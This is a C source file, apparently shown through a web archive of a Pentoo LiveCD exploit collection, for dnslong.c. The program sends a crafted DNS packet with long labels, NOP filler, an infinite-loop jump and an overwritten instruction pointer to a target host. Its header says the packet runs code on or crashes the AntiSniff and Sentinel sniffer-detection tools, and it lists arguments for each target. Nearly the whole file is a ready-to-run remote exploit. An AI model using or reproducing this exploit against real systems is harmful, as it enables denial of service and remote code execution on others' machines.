home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Chip 2007 January, February, March & April
/
Chip-Cover-CD-2007-02.iso
/
Pakiet bezpieczenstwa
/
mini Pentoo LiveCD 2006.1
/
mpentoo-2006.1.iso
/
livecd.squashfs
/
opt
/
pentoo
/
ExploitTree
/
application
/
networktools
/
dnslong.c
< prev
next >
Wrap
C/C++ Source or Header
|
2005-02-12
|
3KB
|
107 lines
/* dnslong.c by Hugo Breton (bretonh@pgci.ca)
This program must be run in the DNS test phase of Sentinel and Anti Sniff.
It illustrates how code can be run remotely on a Win98 machine running Anti
Sniff.
Suggested arguments are:
"dnslong host 5 65" to send the Windows 98 version of Anti Sniff in an
infinite loop.
"dnslong host 2 255" to segfault the oBSD version of Anti Sniff.
"dnslong host 1 255" to segfault Sentinel.
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
int main(int argc,char * * argv)
{
char p[1024];
int sock,i,j,k,len,labelnum,labellen;
struct sockaddr_in sin;
struct hostent * hoste;
printf("dnslong.c by Hugo Breton (bretonh@pgci.ca)\n");
if(argc<4)
{
printf("usage: %s host label_count label_length\n",argv[0]);
return(0);
}
bzero((void *) &sin,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(53);
if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
if((hoste=gethostbyname(argv[1]))==NULL)
{
printf("unknown host %s\n",argv[1]);
return(0);
}
bcopy(hoste->h_addr,&sin.sin_addr.s_addr,4);
}
labelnum=atoi(argv[2]);
labellen=atoi(argv[3]);
len=labelnum*(labellen+1)+5+12;
if(len>1024)
{
printf("resulting packet will be too long\n");
return(0);
}
bzero((void *) p,1024);
* ((unsigned short *) (p+0))=htons(867-5309);
* ((unsigned short *) (p+4))=htons(1);
for(i=12,j=0;j<labelnum;j++)
{
* ((unsigned char *) (p+(i++)))=labellen;
for(k=0;k<labellen;k++,i++)
{
* ((unsigned char *) (p+i))=0x90;
}
* ((unsigned char *) (p+i-2))=0xeb; /* jmp $-2 */
* ((unsigned char *) (p+i-1))=0xfe; /* just make it loop */
}
* ((unsigned char *) (p+269))=0x20;
* ((unsigned char *) (p+270))=0xff;
* ((unsigned char *) (p+271))=0x87;
* ((unsigned char *) (p+272))=0x01; /* new EIP */
* ((unsigned char *) (p+(i++)))=0;
* ((unsigned short *) (p+i))=htons(1);
* ((unsigned short *) (p+i+2))=htons(1);
if((sock=socket(AF_INET,SOCK_DGRAM,0))==-1)
{
printf("unable to create UDP socket\n");
return(0);
}
if(sendto(sock,p,len,0,(struct sockaddr *) &sin,sizeof(sin))==-1)
{
printf("unable to send packet\n");
return(0);
}
printf("packet sent to host %s\n",argv[1]);
return(0);
}